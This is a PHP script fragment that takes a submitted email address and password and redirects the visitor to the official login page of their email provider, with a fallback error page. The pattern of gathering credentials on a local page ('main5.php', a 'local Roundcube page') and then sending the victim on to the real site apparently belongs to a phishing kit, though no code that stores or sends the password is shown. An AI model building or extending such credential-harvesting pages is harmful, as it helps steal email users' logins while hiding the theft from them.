// ============================================
// OFFICIAL LOGIN PAGE URLs BY PROVIDER
// ============================================

$officialLoginPages = [
    // Microsoft / Office365
    'hotmail.com'       => 'https://login.live.com',
    'outlook.com'       => 'https://login.live.com',
    'live.com'          => 'https://login.live.com',
    'msn.com'           => 'https://login.live.com',
    'microsoft.com'     => 'https://www.office.com',
    'office365.com'     => 'https://www.office.com',
    'onmicrosoft.com'   => 'https://www.office.com',
    
    // Yahoo
    'yahoo.com'         => 'https://login.yahoo.com',
    'ymail.com'         => 'https://login.yahoo.com',
    'rocketmail.com'    => 'https://login.yahoo.com',
    
    // Google
    'gmail.com'         => 'https://accounts.google.com',
    'google.com'        => 'https://accounts.google.com',
    'googlemail.com'    => 'https://accounts.google.com',
    
    // Orange
    'orange.fr'         => 'https://messagerie.orange.fr',
    'wanadoo.fr'        => 'https://messagerie.orange.fr',
    
    // ProtonMail
    'protonmail.com'    => 'https://account.proton.me',
    'proton.me'         => 'https://account.proton.me',
    
    // Apple iCloud
    'icloud.com'        => 'https://www.icloud.com',
    'me.com'            => 'https://www.icloud.com',
    'mac.com'           => 'https://www.icloud.com',
    
    // Zoho
    'zoho.com'          => 'https://accounts.zoho.com',
    'zohomail.com'      => 'https://accounts.zoho.com',
    
    // AOL
    'aol.com'           => 'https://login.aol.com',
    
    // Yandex
    'yandex.com'        => 'https://passport.yandex.com',
    'yandex.ru'         => 'https://passport.yandex.ru',
    
    // Mail.ru
    'mail.ru'           => 'https://mail.ru',
    'bk.ru'             => 'https://mail.ru',
    'list.ru'           => 'https://mail.ru',
    'inbox.ru'          => 'https://mail.ru',
];

// ============================================
// PROCESS LOGIN AND REDIRECT
// ============================================

// Get submitted credentials
$username = isset($_POST['username']) ? strtolower(trim($_POST['username'])) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';

// Validate we have both fields
if (empty($username) || empty($password)) {
    header("Location: main5.php" . (!empty($username) ? "?email=" . urlencode($username) : ""));
    exit;
}

// Extract domain
$domain = '';
if (strpos($username, '@') !== false) {
    $domain = substr(strrchr($username, "@"), 1);
}

// Detect provider
$provider = detectEmailProvider($username);

// Determine redirect target
$redirectUrl = null;

// Step 1: Check if domain is in official list
if (isset($officialLoginPages[$domain])) {
    $redirectUrl = $officialLoginPages[$domain];
} 
// Step 2: Check if provider was detected via DNS
else {
    switch ($provider) {
        case 'office365':
            $redirectUrl = 'https://login.microsoftonline.com';
            break;
            
        case 'cpanel':
            $redirectUrl = 'https://webmail.' . $domain;
            break;
            
        case 'roundcube':
            // Redirect to your local Roundcube page
            $redirectUrl = 'main5.php?email=' . urlencode($username);
            break;
            
        case 'unknown':
        default:
            // No redirect - show error page
            $redirectUrl = null;
            break;
    }
}

// ============================================
// PERFORM REDIRECT OR SHOW ERROR
// ============================================

if ($redirectUrl !== null) {
    header("Location: " . $redirectUrl);
    exit();
} else {
    // Show error page for unknown provider
    echo '<!DOCTYPE html>
<html>
<head>
    <title>Email Provider Not Found</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background: #f5f5f5; }
        .container { background: white; padding: 40px; border-radius: 12px; max-width: 500px; margin: 0 auto; }
        .icon { font-size: 64px; margin-bottom: 20px; }
        h1 { color: #333; }
        p { color: #666; line-height: 1.6; }
        .email-box { background: #f0f0f0; padding: 15px; border-radius: 8px; margin: 20px 0; }
        .btn { display: inline-block; padding: 12px 24px; background: #0066cc; color: white; text-decoration: none; border-radius: 6px; margin: 5px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="icon">📧</div>
        <h1>Email Provider Not Detected</h1>
        <p>We couldn\\'t automatically identify the login page for:</p>
        <div class="email-box">
            <strong>' . htmlspecialchars($username) . '</strong>
        </div>
        <a href="https://mail.' . htmlspecialchars($domain) . '" class="btn">Try mail.' . htmlspecialchars($domain) . '</a>
        <a href="https://webmail.' . htmlspecialchars($domain) . '" class="btn">Try webmail.' . htmlspecialchars($domain) . '</a>
        <br><br>
        <a href="main5.php?email=' . urlencode($username) . '" class="btn" style="background: #6c757d;">← Go Back</a>
    </div>
</body>
</html>';
    exit();
}
?>